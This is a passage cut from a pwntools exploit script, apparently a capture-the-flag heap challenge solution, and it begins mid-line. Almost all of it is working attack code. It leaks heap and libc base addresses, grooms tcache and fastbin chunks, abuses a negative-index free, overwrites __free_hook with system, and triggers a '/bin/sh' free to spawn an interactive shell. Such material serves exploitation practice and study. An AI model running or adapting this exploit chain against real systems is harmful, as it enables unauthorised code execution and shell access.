).ljust(8 ,'\x00' ))-0x7a0 log.success("heap base: " +hex (heapbase)) create(0x40 ,'a' *8 ) view(9 ) r.recvuntil("content: aaaaaaaa" ) lbase = u64(r.recv(6 ).ljust(8 ,'\x00' ))-0x1ebc60 free_hook = lbase + libc.sym["__free_hook" ] system_addr = lbase+libc.sym["system" ] log.success("libc base: " +hex (lbase)) create(0x30 ,'to be fastbin' ) create(0x21000 ,'a' *0x20ff0 +p64(heapbase+0x6e0 )) for i in range (0 ,8 ): create(0x30 ,'a' ) for i in range (13 ,20 ): delete(i) delete(11 ) delete(20 ) delete(-512 ) for i in range (0 ,7 ): create(0x30 ,str (i)) create(0x30 ,p64(free_hook)) create(0x30 ,'/bin/sh\x00' ) create(0x30 ,'/bin/sh\x00' ) create(0x30 ,p64(system_addr)) delete(20 ) r.interactive()